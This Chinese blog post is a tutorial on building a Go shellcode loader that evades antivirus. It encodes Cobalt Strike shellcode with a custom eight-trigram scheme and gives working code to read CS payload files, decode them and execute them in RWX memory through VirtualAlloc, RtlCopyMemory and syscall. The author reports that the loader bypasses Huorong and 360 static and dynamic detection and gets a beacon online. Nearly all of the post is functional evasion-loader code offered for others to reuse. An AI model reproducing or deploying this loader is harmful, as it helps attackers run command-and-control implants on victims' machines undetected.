0x00 前言
前两天看到github上有个开源的go语言免杀加载器的项目,在源代码中分析原理:发现该项目中的加密方式、参数、顺序可控,于是尝试编写自定义的一套编码方式来加载shellcode。Golang小白,大佬们轻喷~
0x01 分析加载器项目
首先sparrow.go通过调用cmd.go将cs生成的.bin文件或者.c文件中的shellcode 进行多层加密,(加密参数、顺序可控);
生成shellcode密文和自定义加密方式顺序后粘贴至/loader/loader.go中shellcode变量和encodestr变量中。编译后,测试可以成功绕过火绒静态。
执行loader.exe -token 成功上线CS后成功绕过火绒动态。
0x02 自定义编码编写
编写步骤:
编写自定义encode&decode包;
定义几个常量,定义编码后的数据,用特殊符号(八卦阵)表示:
1 2 3 4 5 6 7 8 9 10
| const ( qian = "☰" dui = "☱" li = "☲" zhen = "☳" xun = "☴" kan = "☵" gen = "☶" kun = "☷" )
|
定义八卦阵符号
1 2 3 4 5 6 7 8 9 10
| var m1 = map[int]string{ 0: qian, 1: dui, 2: li, 3: zhen, 4: xun, 5: kan, 6: gen, 7: kun, }
|
定义八卦符号对应的二进制值
1 2 3 4 5 6 7 8 9 10
| var m2 = map[string][3]int{ qian: {0, 0, 0}, dui: {0, 0, 1}, li: {0, 1, 0}, zhen: {0, 1, 1}, xun: {1, 0, 0}, kan: {1, 0, 1}, gen: {1, 1, 0}, kun: {1, 1, 1}, }
|
定义encode部分(将字节数组编码为八卦符号)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| func byteTo2(byt int, dst []int) { var i = 7 for byt != 0 { dst[i] = byt % 2 byt = byt >> 1 i-- } return } func encode(src []byte) string { bs := make([]int, len(src)*8) bl := len(bs) for k, v := range src { byteTo2(int(v), bs[k*8:k*8+8]) }
buf := make([]string, (bl+2)/3) for i := 0; i*3+2 < len(bs); i++ { buf[i] = m1[bs[i*3]<<2+bs[i*3+1]<<1+bs[i*3+2]] }
switch bl % 3 { case 1: buf[(bl+2)/3-1] = m1[bs[bl-1]<<2] case 2: buf[(bl+2)/3-1] = m1[bs[bl-2]<<2+bs[bl-1]<<1] }
return strings.Join(buf, "") }
|
定义decode部分(将八卦符号解码为字节数组)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| func b8ToByte(b []int) byte { return byte(b[0]<<7 + b[1]<<6 + b[2]<<5 + b[3]<<4 + b[4]<<3 + b[5]<<2 + b[6]<<1 + b[7]) } func decode(s string) ([]byte, error) { if s == "" { return nil, nil }
sl := len(s)
is := make([]int, sl) for i := 0; i < sl/3; i++ { b, ok := m2[s[i*3:i*3+3]] if !ok { return nil, errors.New("invalid string, cur: " + strconv.Itoa(i)) } copy(is[i*3:i*3+3], b[:]) }
buf := make([]byte, sl/8) for i := 0; i < sl/8; i++ { buf[i] = b8ToByte(is[i*8 : i*8+8]) }
return buf, nil }
|
定义加密函数
1 2 3 4
| func Bagua_en(s []byte) string { result := encode(s) return result }
|
定义解密函数
1 2 3 4 5 6 7 8
| func Bagua_de(s string) []byte { result, err := decode(s) if err != nil { fmt.Fprintln(os.Stderr, err.Error()) os.Exit(1) } return result }
|
测试加解密效果
2.读取CS生成的payload.c或payload.bin文件;
以下方法可直接读取CS生成的.c文件和.bin文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| if strings.EqualFold(path.Ext(path.Base(f)), ".bin") { shellcodeFileData, err := ioutil.ReadFile(f) checkError(err) shellcode = shellcodeFileData fmt.Println(shellcode) } else if strings.EqualFold(path.Ext(path.Base(f)), ".c") { file, err := os.OpenFile(f, os.O_RDWR, 0666) if err != nil { fmt.Println("Open file error!", err) return } defer file.Close()
stat, err := file.Stat() if err != nil { panic(err) } var size = stat.Size() fmt.Println("file size=", size) filestr := "" buf := bufio.NewReader(file) for { line, err := buf.ReadString('\n') line = strings.TrimSpace(line) filestr += line if err != nil { if err == io.EOF { r, _ := regexp.Compile("\"(.*)\"") strReplaceAll := strings.ReplaceAll(r.FindString(filestr), "\\x", "") strReplaceAll = strings.ReplaceAll(strReplaceAll, "\"", "") shellcode, err = hex.DecodeString(strReplaceAll) if err != nil { fmt.Println(err) } fmt.Println("File read ok!") break } else { fmt.Println("Read file error!", err) return } } } }
|
调用自定义encode包将CS生成的payload.c或payload.bin文件进行编码;
1 2 3 4 5
| shell = bagua.Bagua_en([]byte(shellcode)) shellcode = []byte(shell) fmt.Println(shell)
|
调用自定义decode包将CS生成的payload.c或payload.bin文件进行解码;
1 2 3 4
| shellcode := ""
shell := bagua.Bagua_de(string(shellcode))
|
调用syscall运行解码后的shellcode
只解密肯定不行的,需要用go来执行CS生成的shellcode;执行方式为:
- 调用VirtualAlloc为shellcode申请一块内存
- 然后调用RtlCopyMemory来将shellcode加载进内存当中
- 调用go的syscall库启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| func runCode(code []byte) { VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc") RtlCopyMemory := syscall.NewLazyDLL("ntdll.dll").NewProc("RtlCopyMemory")
addr, _, err := VirtualAlloc.Call(0, uintptr(len(code)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&code[0])), uintptr(len(code))) checkErr(err) syscall.Syscall(addr, 0, 0, 0, 0) }
|
0x03 免杀效果测试
- 用bagua_en对CS生成的shellcode进行加密
- 复制密文到bagua_de.go中shellcode变量中
- 执行代码后成功上线
- 编译后测试免杀效果。
成功绕过火绒静态
成功绕过火绒动态
0x04 总结
主要分享一下免杀思路,目前只测试360和火绒动静态全过,其他自测。Golang小白,大佬们轻喷~